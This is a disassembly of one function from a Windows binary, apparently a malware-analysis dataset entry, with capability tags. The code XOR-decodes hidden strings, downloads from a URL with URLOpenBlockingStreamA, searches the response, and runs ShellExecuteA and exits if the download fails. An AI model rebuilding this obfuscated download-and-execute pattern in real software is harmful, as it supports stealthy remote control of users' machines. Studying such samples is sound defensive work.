Function at 0x428b80
Capabilities:
Create process on windows
Download url
Encode data using xor
Receive data
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43359f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c8
mov dword [ebp - 0x10], 0
xor ecx, ecx
mov dword [ebp - 0x1e], 0x3c262b3f
mov dword [ebp - 0x1a], 0x233c1a34
mov word [ebp - 0x16], 0x100
nop dword [eax + eax]
lea eax, [ecx + 0x49]
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 8
jb 0x428bc0
push ecx
lea eax, [ebp - 0x16]
mov byte [ebp - 0x15], 0
push eax
lea eax, [ebp - 0x1e]
push eax
lea ecx, [ebp - 0xc0]
call fcn.00430c70
mov dword [ebp - 4], 0
xor ecx, ecx
mov dword [ebp - 0x10], 0x1002406
lea eax, [ecx + 0x49]
xor byte [ebp + ecx - 0x10], al
inc ecx
cmp ecx, 2
jb 0x428bf5
push ecx
lea eax, [ebp - 0xe]
mov byte [ebp - 0xd], 0
push eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0xa8]
call fcn.00430c70
mov byte [ebp - 4], 1
xor ecx, ecx
mov dword [ebp - 0x29], 0xf1b1804
mov dword [ebp - 0x25], 0x40e0a1e
mov word [ebp - 0x21], 0x10
mov byte [ebp - 0x1f], 1
lea eax, [ecx + 0x49]
xor byte [ebp + ecx - 0x29], al
inc ecx
cmp ecx, 9
jb 0x428c38
push ecx
lea eax, [ebp - 0x20]
mov byte [ebp - 0x1f], 0
push eax
lea eax, [ebp - 0x29]
push eax
lea ecx, [ebp - 0x90]
call fcn.00430c70
lea eax, [ebp - 0xa8]
mov byte [ebp - 4], 2
push eax
lea eax, [ebp - 0x90]
push eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x78]
call fcn.00431a20
lea eax, [ebp - 0xc0]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0x78]
push eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x60]
call fcn.00431a20
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x64]
cmp ecx, 0xf
jbe 0x428ccc
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428cc2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428d6d
push ecx
push edx
call fcn.00432044
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7c]
cmp ecx, 0xf
jbe 0x428d03
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428cf9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428d6d
push ecx
push edx
call fcn.00432044
add esp, 8
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x94]
cmp ecx, 0xf
jbe 0x428d3d
mov edx, dword [ebp - 0xa8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428d33
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428d6d
push ecx
push edx
call fcn.00432044
add esp, 8
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0xac]
cmp ecx, 0xf
jbe 0x428d7d
mov edx, dword [ebp - 0xc0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428d73
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x428d73
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00432044
add esp, 8
cmp dword [0x77e980], 0xf
lea ecx, [ebp - 0x14]
push 0
push 0
mov eax, 0x77e96c
cmova eax, dword [0x77e96c]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamA]
test eax, eax
je 0x428dc8
push 5
push 0
push 0
mov ecx, 0x77eaec
call fcn.00430440
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
lea ecx, [ebp - 0x108]
mov dword [ebp - 0x170], 0x77a330
mov dword [ebp - 0x160], 0x77a2c4
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
lea eax, [ebp - 0x158]
mov byte [ebp - 4], 9
push eax
lea ecx, [ebp - 0x170]
mov dword [ebp - 0x10], 0x1ff
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char____]
mov dword [ebp - 4], 0xa
mov eax, dword [ebp - 0x170]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0x170]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x174], eax
lea ecx, [ebp - 0x158]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
mov dword [ebp - method.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0
mov byte [ebp - 4], 0xb
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 0x14]
push edx
push 0x64
lea edx, [ebp - 0x1d4]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0xc]
mov eax, dword [ebp - 0x30]
test eax, eax
je 0x428eb4
push 0
push eax
lea eax, [ebp - 0x1d4]
push eax
lea ecx, [ebp - 0x160]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x30]
push edx
push 0x64
lea edx, [ebp - 0x1d4]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0xc]
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x428e81
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x170]
call fcn.0042f970
cmp dword [ebp - 0x4c], 0xf
lea ecx, [ebp - 0x60]
lea eax, [ebp - 0x48]
cmova ecx, dword [ebp - 0x60]
cmp dword [ebp - 0x34], 0xf
push ecx
cmova eax, dword [ebp - 0x48]
push eax
call dword [sym.imp.VCRUNTIME140.dll_strstr]
add esp, 8
test eax, eax
je 0x428da5
mov ecx, dword [ebp - 0x34]
cmp ecx, 0xf
jbe 0x428f29
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428f1f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428fab
push ecx
push edx
call fcn.00432044
add esp, 8
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0xf
mov byte [ebp - 0x48], 0
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0x170]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x174], eax
lea ecx, [ebp - 0x158]
call fcn.004300b0
lea ecx, [ebp - 0x150]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x108]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0xf
jbe 0x428fbb
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428fb1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x428fb1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00432044
add esp, 8
mov ecx, dword [ebp - 0xc]
xor eax, eax
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret